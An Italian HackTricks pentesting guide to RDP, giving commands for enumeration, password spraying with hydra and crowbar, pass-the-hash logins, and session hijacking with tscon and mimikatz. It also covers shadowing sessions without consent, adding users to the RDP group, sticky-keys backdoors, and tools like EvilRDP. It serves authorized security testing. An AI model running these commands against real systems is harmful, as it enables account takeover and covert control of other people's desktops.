3389 - Pentesting RDP

Tip

Impara e pratica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Sfoglia il catalogo completo di HackTricks Training per i percorsi di assessment (ARTA/GRTA/AzRTA) e Linux Hacking Expert (LHE).

Supporta HackTricks

Basic Information

Sviluppato da Microsoft, il Remote Desktop Protocol (RDP) è progettato per consentire una connessione con interfaccia grafica tra computer su una rete. Per stabilire tale connessione, l’utente utilizza un software client RDP e, contemporaneamente, il computer remoto deve eseguire un software server RDP. Questa configurazione permette il controllo e l’accesso senza soluzione di continuità all’ambiente desktop di un computer remoto, portando essenzialmente la sua interfaccia sul dispositivo locale dell’utente.

Default port: 3389

PORT     STATE SERVICE
3389/tcp open  ms-wbt-server

Enumerazione

Automatico

nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 <IP>

Verifica la crittografia disponibile e la vulnerabilità DoS (senza causare DoS al servizio) e ottiene informazioni NTLM di Windows (versioni).

Livello di sicurezza / Verifiche NLA

RDP può negoziare diversi livelli di sicurezza (RDP nativo, TLS o CredSSP/NLA). Puoi rapidamente effettuare il fingerprint delle impostazioni lato server e verificare se NLA è richiesto:

# Security layer and encryption info
nmap --script rdp-enum-encryption -p 3389 <IP>

# Quick auth check (also reports if NLA is required)
nxc rdp <IP> -u <user> -p <password>

# Pre-auth screenshot only works if NLA is disabled
nxc rdp <IP> --nla-screenshot

# Authenticated screenshot after valid login
nxc rdp <IP> -u <user> -p <password> --screenshot

Brute force

Fai attenzione, potresti bloccare degli account

Password Spraying

Fai attenzione, potresti bloccare degli account

# https://github.com/galkan/crowbar
crowbar -b rdp -s 192.168.220.142/32 -U users.txt -c 'password123'
# hydra
hydra -L usernames.txt -p 'password123' 192.168.2.143 rdp

Connetti con credentials/hash noti

rdesktop -u <username> <IP>
rdesktop -d <domain> -u <username> -p <password> <IP>
xfreerdp [/d:domain] /u:<username> /p:<password> /v:<IP>
xfreerdp [/d:domain] /u:<username> /pth:<hash> /v:<IP> #Pass the hash

Verificare credenziali note su servizi RDP

rdp_check.py di impacket ti permette di verificare se alcune credenziali sono valide per un servizio RDP:

rdp_check <domain>/<name>:<password>@<IP>

Attacchi

Session stealing

Con SYSTEM permissions puoi accedere a qualsiasi sessione RDP aperta di qualsiasi utente senza bisogno di conoscere la password del proprietario.

Ottieni sessioni aperte:

query user

Accesso alla sessione selezionata

tscon <ID> /dest:<SESSIONNAME>

Ora sarai all’interno della sessione RDP selezionata e dovrai impersonare un utente usando solo strumenti e funzionalità di Windows.

Importante: Quando accedi a una sessione RDP attiva disconnetterai l’utente che la stava utilizzando.

Potresti ottenere password effettuando il dump dei processi, ma questo metodo è molto più veloce e ti permette di interagire con i desktop virtuali dell’utente (password in notepad senza essere salvate su disco, altre sessioni RDP aperte su altre macchine…)

Mimikatz

Puoi anche usare mimikatz per fare questo:

ts::sessions        #Get sessions
ts::remote /id:2    #Connect to the session

RDP Shadowing (Remote Control)

Se Remote Desktop Services shadowing è abilitato, puoi visualizzare o controllare la sessione attiva di un altro utente (a volte senza consenso) usando gli switch integrati di mstsc.

# List sessions on a remote host
qwinsta /server:<IP>
quser /server:<IP>

# Shadow a specific session (consent required if policy enforces it)
mstsc /v:<IP> /shadow:<SESSION_ID> /control

# Shadow without consent if policy allows it
mstsc /v:<IP> /shadow:<SESSION_ID> /noconsentprompt /prompt

# Check current shadowing policy on the target
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v Shadow

RDP Virtual Channel Tunneling

RDP supporta le virtual channels che possono essere sfruttate per pivoting/tunneling su una sessione RDP già stabilita. Un’opzione è rdp2tcp (client/server) che può multiplexare TCP forwards su RDP (funziona con FreeRDP).

# Start FreeRDP with rdp2tcp virtual channel
xfreerdp /u:<user> /v:<IP> /rdp2tcp:/path/to/rdp2tcp/client/rdp2tcp

Tunneling and Port Forwarding

Sticky-keys & Utilman

Combinando questa tecnica con stickykeys o utilman sarai in grado di accedere a un CMD amministrativo e a qualsiasi sessione RDP in qualsiasi momento

Puoi cercare RDP che sono già stati backdoored con una di queste tecniche con: https://github.com/linuz/Sticky-Keys-Slayer

RDP Process Injection

Se qualcuno proveniente da un dominio diverso o con better privileges login via RDP si connette al PC dove you are an Admin, puoi inject il tuo beacon nel suo RDP session process e agire come lui:

RDP Sessions Abuse

Aggiungere un utente al gruppo RDP

net localgroup "Remote Desktop Users" UserLoginName /add

Strumenti automatici

AutoRDPwn è un framework di post-exploitation creato in Powershell, progettato principalmente per automatizzare l’attacco Shadow sui computer Microsoft Windows. Questa vulnerabilità (indicata come una funzionalità da Microsoft) permette a un attaccante remoto di visualizzare il desktop della sua vittima senza il suo consenso, e perfino di controllarlo su richiesta, utilizzando strumenti nativi del sistema operativo stesso.

  • EvilRDP

  • Controllare mouse e tastiera in modo automatico dalla riga di comando

  • Controllare il clipboard in modo automatico dalla riga di comando

  • Avviare uno SOCKS proxy dal client che instrada la comunicazione di rete verso il target tramite RDP

  • Eseguire comandi SHELL e PowerShell arbitrari sul target senza caricare file

  • Caricare e scaricare file dal/verso il target anche quando i trasferimenti di file sono disabilitati sul target

  • SharpRDP

Questo strumento permette di eseguire comandi nella sessione RDP della vittima senza necessitare di un’interfaccia grafica.

HackTricks Automatic Commands

Protocol_Name: RDP    #Protocol Abbreviation if there is one.
Port_Number:  3389     #Comma separated if there is more than one.
Protocol_Description: Remote Desktop Protocol         #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for RDP
Note: |
Developed by Microsoft, the Remote Desktop Protocol (RDP) is designed to enable a graphical interface connection between computers over a network. To establish such a connection, RDP client software is utilized by the user, and concurrently, the remote computer is required to operate RDP server software. This setup allows for the seamless control and access of a distant computer's desktop environment, essentially bringing its interface to the user's local device.

https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-rdp.html

Entry_2:
Name: Nmap
Description: Nmap with RDP Scripts
Command: nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 {IP}

Riferimenti

Tip

Impara e pratica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Sfoglia il catalogo completo di HackTricks Training per i percorsi di assessment (ARTA/GRTA/AzRTA) e Linux Hacking Expert (LHE).

Supporta HackTricks